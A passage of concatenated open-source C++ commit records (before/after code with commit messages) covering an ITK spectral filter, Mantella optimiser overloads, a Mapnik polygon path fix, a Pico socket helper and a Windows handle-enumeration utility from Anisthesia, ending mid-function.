sample < spectralComponents; ++sample )\n          {\n          outputPixel[sample] += *windowIt * *spectraIt;\n          ++spectraIt;\n          }\n        ++windowIt;\n        ++linesIt;\n        }\n      outputIt.Set( outputPixel );\n\n      ++outputIt;\n      ++supportWindowIt;\n      }\n    }\n\n  const OutputImageType * referenceSpectra = this->GetReferenceSpectraImage();\n  if( referenceSpectra != ITK_NULLPTR )\n    {\n    typedef ImageScanlineConstIterator< OutputImageType > ReferenceSpectraIteratorType;\n    ReferenceSpectraIteratorType referenceSpectraIt( referenceSpectra, outputRegionForThread );\n\n    typedef ImageScanlineIterator< OutputImageType >      PopulatedOutputIteratorType;\n    PopulatedOutputIteratorType populatedOutputIt( output, outputRegionForThread );\n\n    const unsigned int numberOfComponents = referenceSpectra->GetNumberOfComponentsPerPixel();\n    if( numberOfComponents != output->GetNumberOfComponentsPerPixel() )\n      {\n      itkExceptionMacro( \"ReferenceSpectraImage has \" << numberOfComponents << \" while the output image has \" << output->GetNumberOfComponentsPerPixel() << \" components\" );\n      }\n\n    for( referenceSpectraIt.GoToBegin(), populatedOutputIt.GoToBegin(); !populatedOutputIt.IsAtEnd();)\n      {\n      while( !populatedOutputIt.IsAtEndOfLine() )\n        {\n        typedef typename OutputImageType::PixelType PixelType;\n        PixelType outputPixel = populatedOutputIt.Get();\n        const PixelType referencePixel = referenceSpectraIt.Get();\n        for( unsigned int component = 0; component < numberOfComponents; ++component )\n          {\n          if( Math::FloatAlmostEqual( referencePixel[component], NumericTraits< typename PixelType::ValueType >::Zero ) )\n            {\n            outputPixel[component] = NumericTraits< typename PixelType::ValueType >::Zero;\n            }\n          else\n            {\n            outputPixel[component] \/= referencePixel[component];\n            }\n          }\n        populatedOutputIt.Set( outputPixel );\n\n        ++populatedOutputIt;\n        ++referenceSpectraIt;\n        }\n      populatedOutputIt.NextLine();\n      referenceSpectraIt.NextLine();\n      }\n    }\n}\n\n\n} \/\/ end namespace itk\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>template <typename T1, std::size_t N, template <class, std::size_t> class T2, typename T3>\noptimise_result<T1, N> optimise(\n    const T2<T1, N>& problem,\n    const T3& optimiser,\n    std::vector<std::array<T1, N>> initial_parameters);\n\n\/\/\n\/\/ Implementation\n\/\/\n\ntemplate <typename T1, std::size_t N, template <class, std::size_t> class T2, typename T3>\noptimise_result<T1, N> optimise(\n    const T2<T1, N>& problem,\n    const T3& optimiser,\n    std::vector<std::array<T1, N>> initial_parameters) {\n  static_assert(std::is_floating_point<T1>::value, \"\");\n  static_assert(N > 0, \"\");\n  static_assert(std::is_base_of<mant::problem<T1, N>, T2<T1, N>>::value, \"\");\n  \/\/ static_assert(std::is_base_of<mant::optimiser<T1, N, T2>, T3<T1, N, T2<T1, N>>>::value, \"\");\n  \n  assert(initial_parameters.size() > 0);\n  \n  \/\/ Maps the parameter's bounds from [*problem.lower_bounds*, *problem.upper_bounds*] to [0, 1] and places all active \n  \/\/ dimensions (in-order) upfront.\n  for (auto& parameter : initial_parameters) {\n    for (std::size_t n = 0; n < optimiser.active_dimensions.size(); ++n) {\n      parameter.at(n) = (\n          parameter.at(optimiser.active_dimensions.at(n)) - \n          problem.lower_bounds.at(n)\n        ) \/ (problem.upper_bounds.at(n) - problem.lower_bounds.at(n));\n    }\n  }\n  \n  mant::problem<T1, N> mapped_problem;\n  mapped_problem.objective_function = [&problem, &optimiser](const auto& parameter) {\n    std::array<T1, N> mapped_parameter = problem.lower_bounds;\n    for (std::size_t n = optimiser.active_dimensions.size(); n > 0; --n) {\n      mapped_parameter.at(optimiser.active_dimensions.at(n - 1)) = \n        problem.lower_bounds.at(n - 1) +\n        parameter.at(n - 1) * (\n          problem.upper_bounds.at(n - 1) - problem.lower_bounds.at(n - 1)\n        );\n    }\n    \n    return problem.objective_function(mapped_parameter);\n  };\n  \n  auto&& result = optimiser.optimisation_function(mapped_problem, initial_parameters);\n  \n  \/\/ Maps the parameter's bounds back from [0, 1] to [*lower_bounds*, *upper_bounds*], permutes the parameter to match \n  \/\/ the active dimensions.\n  for (std::size_t n = optimiser.active_dimensions.size(); n > 0; --n) {\n    result.best_parameter.at(optimiser.active_dimensions.at(n - 1)) = \n      problem.lower_bounds.at(n - 1) +\n      result.best_parameter.at(n - 1) * (\n        problem.upper_bounds.at(n - 1) - problem.lower_bounds.at(n - 1)\n      );\n  }\n\n  return result;\n}\n\n\/\/\n\/\/ Unit tests\n\/\/\n\n#if defined(MANTELLA_BUILD_TESTS)\nTEST_CASE(\"optimise\", \"[optimise]\") {\n  mant::sphere_function<double, 2> problem;\n  problem.lower_bounds = {-5.0, -5.0};\n  problem.upper_bounds = {5.0, 5.0};\n  \n  mant::hooke_jeeves_algorithm<double, 2, mant::problem> optimiser;\n  optimiser.acceptable_objective_value = 1e-12;\n  \n  const auto&& result = mant::optimise(problem, optimiser, {{-3.2, 4.1}});\n  CHECK((result.best_parameter == std::array<double, 2>({5.245208729576234e-07, 3.3378601038691613e-07})));\n  CHECK(result.best_objective_value == Approx(5.57065506021764692e-13));\n  CHECK(result.number_of_evaluations == 40);\n}\n#endif\n<commit_msg>feature: Added optimise overloads (#267)<commit_after>template <typename T1, std::size_t N, template <class, std::size_t> class T2, typename T3>\noptimise_result<T1, N> optimise(\n    const T2<T1, N>& problem,\n    const T3& optimiser,\n    std::vector<std::array<T1, N>> initial_parameters);\n\ntemplate <typename T1, std::size_t N, template <class, std::size_t> class T2, typename T3>\noptimise_result<T1, N> optimise(\n    const T2<T1, N>& problem,\n    const T3& optimiser);\n    \ntemplate <typename T1, std::size_t N, template <class, std::size_t> class T2, typename T3>\noptimise_result<T1, N> optimise(\n    const T2<T1, N>& problem);\n\/\/\n\/\/ Implementation\n\/\/\n\ntemplate <typename T1, std::size_t N, template <class, std::size_t> class T2, typename T3>\noptimise_result<T1, N> optimise(\n    const T2<T1, N>& problem,\n    const T3& optimiser,\n    std::vector<std::array<T1, N>> initial_parameters) {\n  static_assert(std::is_floating_point<T1>::value, \"\");\n  static_assert(N > 0, \"\");\n  static_assert(std::is_base_of<mant::problem<T1, N>, T2<T1, N>>::value, \"\");\n  \/\/ static_assert(std::is_base_of<mant::optimiser<T1, N, T2>, T3<T1, N, T2<T1, N>>>::value, \"\");\n  \n  assert(initial_parameters.size() > 0);\n  \n  \/\/ Maps the parameter's bounds from [*problem.lower_bounds*, *problem.upper_bounds*] to [0, 1] and places all active \n  \/\/ dimensions (in-order) upfront.\n  for (auto& parameter : initial_parameters) {\n    for (std::size_t n = 0; n < optimiser.active_dimensions.size(); ++n) {\n      parameter.at(n) = (\n          parameter.at(optimiser.active_dimensions.at(n)) - \n          problem.lower_bounds.at(n)\n        ) \/ (problem.upper_bounds.at(n) - problem.lower_bounds.at(n));\n    }\n  }\n  \n  mant::problem<T1, N> mapped_problem;\n  mapped_problem.objective_function = [&problem, &optimiser](const auto& parameter) {\n    std::array<T1, N> mapped_parameter = problem.lower_bounds;\n    for (std::size_t n = optimiser.active_dimensions.size(); n > 0; --n) {\n      mapped_parameter.at(optimiser.active_dimensions.at(n - 1)) = \n        problem.lower_bounds.at(n - 1) +\n        parameter.at(n - 1) * (\n          problem.upper_bounds.at(n - 1) - problem.lower_bounds.at(n - 1)\n        );\n    }\n    \n    return problem.objective_function(mapped_parameter);\n  };\n  \n  auto&& result = optimiser.optimisation_function(mapped_problem, initial_parameters);\n  \n  \/\/ Maps the parameter's bounds back from [0, 1] to [*lower_bounds*, *upper_bounds*], permutes the parameter to match \n  \/\/ the active dimensions.\n  for (std::size_t n = optimiser.active_dimensions.size(); n > 0; --n) {\n    result.best_parameter.at(optimiser.active_dimensions.at(n - 1)) = \n      problem.lower_bounds.at(n - 1) +\n      result.best_parameter.at(n - 1) * (\n        problem.upper_bounds.at(n - 1) - problem.lower_bounds.at(n - 1)\n      );\n  }\n\n  return result;\n}\n\ntemplate <typename T1, std::size_t N, template <class, std::size_t> class T2, typename T3>\noptimise_result<T1, N> optimise(\n    const T2<T1, N>& problem,\n    const T3& optimiser) {\n  std::vector<std::array<T1, N>> initial_parameters(40);\n  for (auto& parameter : initial_parameters) {\n    std::generate(\n      parameter.begin(), std::next(parameter.begin(), optimiser.active_dimensions.size()),\n      std::bind(\n        std::uniform_real_distribution<T1>(0.0, 1.0),\n        std::ref(random_number_generator())));\n  }\n  \n  return optimise(problem, optimiser, initial_parameters);\n}\n\ntemplate <typename T1, std::size_t N, template <class, std::size_t> class T2>\noptimise_result<T1, N> optimise(\n    const T2<T1, N>& problem) {\n  return optimise(problem, hooke_jeeves_algorithm<T1, N, mant::problem>());\n}\n\n\/\/\n\/\/ Unit tests\n\/\/\n\n#if defined(MANTELLA_BUILD_TESTS)\nTEST_CASE(\"optimise\", \"[optimise]\") {\n  mant::sphere_function<double, 2> problem;\n  problem.lower_bounds = {-5.0, -5.0};\n  problem.upper_bounds = {5.0, 5.0};\n  \n  mant::hooke_jeeves_algorithm<double, 2, mant::problem> optimiser;\n  optimiser.acceptable_objective_value = 1e-12;\n  \n  const auto&& result = mant::optimise(problem, optimiser, {{-3.2, 4.1}});\n  CHECK((result.best_parameter == std::array<double, 2>({5.245208729576234e-07, 3.3378601038691613e-07})));\n  CHECK(result.best_objective_value == Approx(5.57065506021764692e-13));\n  CHECK(result.number_of_evaluations == 40);\n  \n  CHECK_NOTHROW(mant::optimise(problem, optimiser));\n  CHECK_NOTHROW(mant::optimise(problem));\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_GEOMETRY_TO_PATH_HPP\n#define MAPNIK_GEOMETRY_TO_PATH_HPP\n\n#include <mapnik\/geometry.hpp>\n#include <mapnik\/path.hpp>\n\nnamespace mapnik { namespace geometry { namespace detail {\n\n\/\/template <typename Transformer>\nstruct geometry_to_path\n{\n    geometry_to_path(path_type & p)\n        : p_(p) {}\n\n    template <typename T>\n    void operator() (geometry<T> const& geom) const\n    {\n        mapnik::util::apply_visitor(*this, geom);\n    }\n\n    void operator() (geometry_empty const&) const\n    {\n        \/\/ no-op\n    }\n    \/\/ point\n    template <typename T>\n    void operator() (point<T> const& pt) const\n    {\n        \/\/point pt_new;\n        \/\/Transformer::apply(pt, pt_new);\n        p_.move_to(pt.x, pt.y);\n    }\n\n    \/\/ line_string\n    template <typename T>\n    void operator() (line_string<T> const& line) const\n    {\n        bool first = true;\n        for (auto const& pt : line)\n        {\n            \/\/point pt_new;\n            \/\/Transformer::apply(pt, pt_new);\n            if (first) { p_.move_to(pt.x, pt.y); first=false;}\n            else p_.line_to(pt.x, pt.y);\n        }\n    }\n\n    \/\/ polygon\n    template <typename T>\n    void operator() (polygon<T> const& poly) const\n    {\n        \/\/ exterior\n        bool first = true;\n        for (auto const& pt : poly.exterior_ring)\n        {\n            \/\/point pt_new;\n            \/\/Transformer::apply(pt, pt_new);\n            if (first) { p_.move_to(pt.x, pt.y); first=false;}\n            else p_.line_to(pt.x, pt.y);\n        }\n        \/\/ interior\n        for (auto const& ring : poly.interior_rings)\n        {\n            first = true;\n            for (auto const& pt : ring)\n            {\n                \/\/point pt_new;\n                \/\/Transformer::apply(pt, pt_new);\n                if (first) { p_.move_to(pt.x, pt.y); first=false;}\n                else p_.line_to(pt.x, pt.y);\n            }\n        }\n    }\n\n    \/\/ multi point\n    template <typename T>\n    void operator() (multi_point<T> const& multi_pt) const\n    {\n        for (auto const& pt : multi_pt)\n        {\n            (*this)(pt);\n        }\n    }\n    \/\/ multi_line_string\n    template <typename T>\n    void operator() (multi_line_string<T> const& multi_line) const\n    {\n        for (auto const& line : multi_line)\n        {\n            (*this)(line);\n        }\n    }\n\n    \/\/ multi_polygon\n    template <typename T>\n    void operator() (multi_polygon<T> const& multi_poly) const\n    {\n        for (auto const& poly : multi_poly)\n        {\n            (*this)(poly);\n        }\n    }\n\n    template <typename T>\n    void operator() (geometry_collection<T> const& collection) const\n    {\n        for (auto const& geom :  collection)\n        {\n            (*this)(geom);\n        }\n    }\n\n    path_type & p_;\n\n};\n} \/\/ ns detail\n\ntemplate <typename T>\nvoid to_path(T const& geom, path_type & p)\n{\n    detail::geometry_to_path func(p);\n    func(geom);\n}\n\n}}\n\n#endif \/\/ MAPNIK_GEOMETRY_TO_PATH_HPP\n<commit_msg>close polygon paths<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_GEOMETRY_TO_PATH_HPP\n#define MAPNIK_GEOMETRY_TO_PATH_HPP\n\n#include <mapnik\/geometry.hpp>\n#include <mapnik\/path.hpp>\n\nnamespace mapnik { namespace geometry { namespace detail {\n\n\/\/template <typename Transformer>\nstruct geometry_to_path\n{\n    geometry_to_path(path_type & p)\n        : p_(p) {}\n\n    template <typename T>\n    void operator() (geometry<T> const& geom) const\n    {\n        mapnik::util::apply_visitor(*this, geom);\n    }\n\n    void operator() (geometry_empty const&) const\n    {\n        \/\/ no-op\n    }\n    \/\/ point\n    template <typename T>\n    void operator() (point<T> const& pt) const\n    {\n        \/\/point pt_new;\n        \/\/Transformer::apply(pt, pt_new);\n        p_.move_to(pt.x, pt.y);\n    }\n\n    \/\/ line_string\n    template <typename T>\n    void operator() (line_string<T> const& line) const\n    {\n        bool first = true;\n        for (auto const& pt : line)\n        {\n            \/\/point pt_new;\n            \/\/Transformer::apply(pt, pt_new);\n            if (first) { p_.move_to(pt.x, pt.y); first=false;}\n            else p_.line_to(pt.x, pt.y);\n        }\n    }\n\n    \/\/ polygon\n    template <typename T>\n    void operator() (polygon<T> const& poly) const\n    {\n        \/\/ exterior\n        bool first = true;\n        for (auto const& pt : poly.exterior_ring)\n        {\n            \/\/point pt_new;\n            \/\/Transformer::apply(pt, pt_new);\n            if (first) { p_.move_to(pt.x, pt.y); first=false;}\n            else p_.line_to(pt.x, pt.y);\n        }\n        p_.close_path();\n        \/\/ interior\n        for (auto const& ring : poly.interior_rings)\n        {\n            first = true;\n            for (auto const& pt : ring)\n            {\n                \/\/point pt_new;\n                \/\/Transformer::apply(pt, pt_new);\n                if (first) { p_.move_to(pt.x, pt.y); first=false;}\n                else p_.line_to(pt.x, pt.y);\n            }\n            p_.close_path();\n        }\n    }\n\n    \/\/ multi point\n    template <typename T>\n    void operator() (multi_point<T> const& multi_pt) const\n    {\n        for (auto const& pt : multi_pt)\n        {\n            (*this)(pt);\n        }\n    }\n    \/\/ multi_line_string\n    template <typename T>\n    void operator() (multi_line_string<T> const& multi_line) const\n    {\n        for (auto const& line : multi_line)\n        {\n            (*this)(line);\n        }\n    }\n\n    \/\/ multi_polygon\n    template <typename T>\n    void operator() (multi_polygon<T> const& multi_poly) const\n    {\n        for (auto const& poly : multi_poly)\n        {\n            (*this)(poly);\n        }\n    }\n\n    template <typename T>\n    void operator() (geometry_collection<T> const& collection) const\n    {\n        for (auto const& geom :  collection)\n        {\n            (*this)(geom);\n        }\n    }\n\n    path_type & p_;\n\n};\n} \/\/ ns detail\n\ntemplate <typename T>\nvoid to_path(T const& geom, path_type & p)\n{\n    detail::geometry_to_path func(p);\n    func(geom);\n}\n\n}}\n\n#endif \/\/ MAPNIK_GEOMETRY_TO_PATH_HPP\n<|endoftext|>"}
{"text":"<commit_before>#ifndef PICOLIB_SOCKET_IMPL_H_\n#define PICOLIB_SOCKET_IMPL_H_\n\n#include <sys\/un.h>\n\nnamespace Pico {\n\n    namespace Network {\n\n        template <AddressType>\n        struct Address;\n\n        template <>\n        struct Address<AddressType::UNIX_ABSTRACT>\n        {\n            char *path;\n        };\n\n        using UnixAbstractAddress   = Address<AddressType::UNIX_ABSTRACT>;\n\n        \/\/ From glibc 2.19, sysdeps\/unix\/sysv\/linux\/cmsg_nxthdr.c\n        FUNCTION\n        struct cmsghdr *cmsg_nxthdr (struct msghdr *mhdr, struct cmsghdr *cmsg)\n        {\n            if ((size_t) cmsg->cmsg_len < sizeof (struct cmsghdr))\n            \/* The kernel header does this so there may be a reason.  *\/\n                return NULL;\n\n            cmsg = (struct cmsghdr *) ((unsigned char *) cmsg\n                    + CMSG_ALIGN (cmsg->cmsg_len));\n\n            if ((unsigned char *) (cmsg + 1) > ((unsigned char *) mhdr->msg_control\n                                                + mhdr->msg_controllen)\n                || ((unsigned char *) cmsg + CMSG_ALIGN (cmsg->cmsg_len)\n                    > ((unsigned char *) mhdr->msg_control + mhdr->msg_controllen)))\n                \/* No more entries.  *\/\n                return NULL;\n\n            return cmsg;\n        }\n\n        template <>\n        struct Sockaddr<AddressType::UNIX_ABSTRACT>\n        {\n            static constexpr int family = AF_UNIX;\n            using type = struct sockaddr_un;\n\n            FUNCTION\n            struct sockaddr_un pack(UnixAbstractAddress const unixaddr, size_t& size)\n            {\n                struct sockaddr_un addr;\n                String sock_path(addr.sun_path + 1);\n\n                addr.sun_family = AF_UNIX;\n                addr.sun_path[0] = '\\0';\n                String::copy(addr.sun_path + 1, unixaddr.path, sizeof(addr.sun_path) - 1);\n\n                size = sizeof(addr.sun_family) + String::length(unixaddr.path) + 1;\n                return addr;\n            }\n        };\n\n        METHOD\n        size_t SocketIO::available_input_bytes()\n        {\n            size_t nr_bytes = 0;\n\n            Syscall::ioctl(fd, FIONREAD, &nr_bytes);\n            return nr_bytes;\n        }\n\n        CONSTRUCTOR\n        SctpSocket::SctpSocket() : StreamSocket(AF_INET, IPPROTO_SCTP) {}\n\n        CONSTRUCTOR\n        Sctp6Socket::Sctp6Socket() : StreamSocket(AF_INET6, IPPROTO_SCTP) {}\n    }\n}\n\n#endif\n<commit_msg>target\/linux: export __cmsg_nxthdr<commit_after>#ifndef PICOLIB_SOCKET_IMPL_H_\n#define PICOLIB_SOCKET_IMPL_H_\n\n#include <sys\/un.h>\n\nnamespace Pico {\n\n    namespace Network {\n\n        template <AddressType>\n        struct Address;\n\n        template <>\n        struct Address<AddressType::UNIX_ABSTRACT>\n        {\n            char *path;\n        };\n\n        using UnixAbstractAddress   = Address<AddressType::UNIX_ABSTRACT>;\n\n        template <>\n        struct Sockaddr<AddressType::UNIX_ABSTRACT>\n        {\n            static constexpr int family = AF_UNIX;\n            using type = struct sockaddr_un;\n\n            FUNCTION\n            struct sockaddr_un pack(UnixAbstractAddress const unixaddr, size_t& size)\n            {\n                struct sockaddr_un addr;\n                String sock_path(addr.sun_path + 1);\n\n                addr.sun_family = AF_UNIX;\n                addr.sun_path[0] = '\\0';\n                String::copy(addr.sun_path + 1, unixaddr.path, sizeof(addr.sun_path) - 1);\n\n                size = sizeof(addr.sun_family) + String::length(unixaddr.path) + 1;\n                return addr;\n            }\n        };\n\n        METHOD\n        size_t SocketIO::available_input_bytes()\n        {\n            size_t nr_bytes = 0;\n\n            Syscall::ioctl(fd, FIONREAD, &nr_bytes);\n            return nr_bytes;\n        }\n\n        CONSTRUCTOR\n        SctpSocket::SctpSocket() : StreamSocket(AF_INET, IPPROTO_SCTP) {}\n\n        CONSTRUCTOR\n        Sctp6Socket::Sctp6Socket() : StreamSocket(AF_INET6, IPPROTO_SCTP) {}\n    }\n}\n\nextern \"C\" {\n    \/\/\n    \/\/ From glibc 2.19, sysdeps\/unix\/sysv\/linux\/cmsg_nxthdr.c\n    \/\/ Required by CMSG_NXTHDR.\n    \/\/\n    EXPORT_ABI_FUNCTION\n    struct cmsghdr *__cmsg_nxthdr (struct msghdr *mhdr, struct cmsghdr *cmsg)\n    {\n        if ((size_t) cmsg->cmsg_len < sizeof (struct cmsghdr))\n        \/* The kernel header does this so there may be a reason.  *\/\n            return NULL;\n\n        cmsg = (struct cmsghdr *) ((unsigned char *) cmsg\n                + CMSG_ALIGN (cmsg->cmsg_len));\n\n        if ((unsigned char *) (cmsg + 1) > ((unsigned char *) mhdr->msg_control\n                                            + mhdr->msg_controllen)\n            || ((unsigned char *) cmsg + CMSG_ALIGN (cmsg->cmsg_len)\n                > ((unsigned char *) mhdr->msg_control + mhdr->msg_controllen)))\n            \/* No more entries.  *\/\n            return NULL;\n\n        return cmsg;\n    }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\nMIT License\n\nCopyright (c) 2017 Eren Okka\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include <memory>\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"process.h\"\n#include \"util.h\"\n\nnamespace anisthesia {\nnamespace win {\n\nusing buffer_t = std::unique_ptr<BYTE[]>;\n\nconstexpr NTSTATUS STATUS_INFO_LENGTH_MISMATCH = 0xC0000004L;\nconstexpr NTSTATUS STATUS_SUCCESS = 0x00000000L;\n\nenum {\n  SystemExtendedHandleInformation = 64,\n};\n\nstruct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {\n  PVOID Object;\n  ULONG_PTR UniqueProcessId;\n  HANDLE HandleValue;\n  ACCESS_MASK GrantedAccess;\n  USHORT CreatorBackTraceIndex;\n  USHORT ObjectTypeIndex;\n  ULONG HandleAttributes;\n  ULONG Reserved;\n};\n\nstruct SYSTEM_HANDLE_INFORMATION_EX {\n  ULONG_PTR NumberOfHandles;\n  ULONG_PTR Reserved;\n  SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];\n};\n\nstruct OBJECT_TYPE_INFORMATION {\n  UNICODE_STRING TypeName;\n  ULONG Reserved[22];\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nPVOID GetLibraryProcAddress(LPCSTR module_name, LPCSTR proc_name) {\n  return reinterpret_cast<PVOID>(\n      GetProcAddress(GetModuleHandleA(module_name), proc_name));\n}\n\nPVOID GetNtProcAddress(LPCSTR proc_name) {\n  return GetLibraryProcAddress(\"ntdll.dll\", proc_name);\n}\n\nNTSTATUS NtQuerySystemInformation(\n    SYSTEM_INFORMATION_CLASS system_information_class,\n    PVOID system_information,\n    ULONG system_information_length,\n    PULONG return_length) {\n  static const auto nt_query_system_information =\n      reinterpret_cast<decltype(::NtQuerySystemInformation)*>(\n          GetNtProcAddress(\"NtQuerySystemInformation\"));\n  return nt_query_system_information(system_information_class,\n                                     system_information,\n                                     system_information_length,\n                                     return_length);\n}\n\nNTSTATUS NtQueryObject(\n    HANDLE handle,\n    OBJECT_INFORMATION_CLASS object_information_class,\n    PVOID object_information,\n    ULONG object_information_length,\n    PULONG return_length) {\n  static const auto nt_query_object =\n      reinterpret_cast<decltype(::NtQueryObject)*>(\n          GetNtProcAddress(\"NtQueryObject\"));\n  return nt_query_object(handle,\n                         object_information_class,\n                         object_information,\n                         object_information_length,\n                         return_length);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ninline bool NtSuccess(NTSTATUS status) {\n  return status >= 0;\n}\n\nbuffer_t QuerySystemInformation(\n      SYSTEM_INFORMATION_CLASS system_information_class) {\n  ULONG size = 1 << 20;                \/\/  1 MiB\n  constexpr ULONG kMaxSize = 1 << 24;  \/\/ 16 MiB\n\n  buffer_t buffer(new BYTE[size]);\n  NTSTATUS status = STATUS_SUCCESS;\n\n  do {\n    ULONG return_length = 0;\n    status = win::NtQuerySystemInformation(\n        system_information_class, buffer.get(), size, &return_length);\n    if (status == STATUS_INFO_LENGTH_MISMATCH) {\n      size = (return_length > size) ? return_length : (size * 2);\n      buffer.reset(new BYTE[size]);\n    }\n  } while (status == STATUS_INFO_LENGTH_MISMATCH && size < kMaxSize);\n\n  if (!NtSuccess(status))\n    buffer.reset();\n\n  return buffer;\n}\n\nbuffer_t QueryObject(HANDLE handle,\n                     OBJECT_INFORMATION_CLASS object_information_class,\n                     ULONG size) {\n  buffer_t buffer(new BYTE[size]);\n  ULONG return_length = 0;\n\n  const auto query_object = [&]() {\n    return win::NtQueryObject(handle, object_information_class,\n                              buffer.get(), size, &return_length);\n  };\n\n  auto status = query_object();\n  if (status == STATUS_INFO_LENGTH_MISMATCH) {\n    size = return_length;\n    buffer.reset(new BYTE[size]);\n    status = query_object();\n  }\n\n  if (!NtSuccess(status))\n    buffer.reset();\n\n  return buffer;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHANDLE OpenProcess(DWORD process_id) {\n  return ::OpenProcess(PROCESS_DUP_HANDLE, false, process_id);\n}\n\nHANDLE DuplicateHandle(HANDLE process_handle, HANDLE handle) {\n  HANDLE dup_handle = nullptr;\n  const auto result = ::DuplicateHandle(process_handle, handle,\n                                        GetCurrentProcess(), &dup_handle,\n                                        0, false, DUPLICATE_SAME_ACCESS);\n  return result ? dup_handle : nullptr;\n}\n\nbuffer_t GetSystemHandleInformation() {\n  return QuerySystemInformation(\n      static_cast<SYSTEM_INFORMATION_CLASS>(SystemExtendedHandleInformation));\n}\n\nstd::wstring GetUnicodeString(const UNICODE_STRING& unicode_string) {\n  if (!unicode_string.Length)\n    return std::wstring();\n\n  return std::wstring(unicode_string.Buffer,\n                      unicode_string.Length \/ sizeof(WCHAR));\n}\n\nstd::wstring GetObjectTypeName(HANDLE handle) {\n  const auto buffer = QueryObject(handle, ObjectTypeInformation,\n                                  sizeof(OBJECT_TYPE_INFORMATION));\n  if (!buffer)\n    return std::wstring();\n\n  const auto& type_information =\n      *reinterpret_cast<OBJECT_TYPE_INFORMATION*>(buffer.get());\n\n  return GetUnicodeString(type_information.TypeName);\n}\n\nstd::wstring GetFinalPathNameByHandle(HANDLE handle) {\n  std::wstring buffer(MAX_PATH, '\\0');\n\n  auto get_final_path_name_by_handle = [&]() {\n    return ::GetFinalPathNameByHandle(handle, &buffer.front(), buffer.size(),\n        FILE_NAME_NORMALIZED | VOLUME_NAME_DOS);\n  };\n\n  auto result = get_final_path_name_by_handle();\n  if (result > buffer.size()) {\n    buffer.resize(result, '\\0');\n    result = get_final_path_name_by_handle();\n  }\n\n  if (result < buffer.size())\n    buffer.resize(result);\n\n  return buffer;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool VerifyObjectType(HANDLE handle, USHORT object_type_index) {\n  \/\/ File type index varies between OS versions:\n  \/\/\n  \/\/ - 25: Windows Vista\n  \/\/ - 28: Windows XP, Windows 7\n  \/\/ - 30: Windows 8.1\n  \/\/ - 31: Windows 8, Windows 10\n  \/\/ - 34: Windows 10 Anniversary Update\n  \/\/\n  \/\/ Here we initialize the value with 0, so that it is determined at run time.\n  \/\/ This is more reliable than hard-coding the values for each OS version.\n  static USHORT file_type_index = 0;\n\n  if (file_type_index)\n    return object_type_index == file_type_index;\n\n  if (!handle)\n    return true;\n\n  if 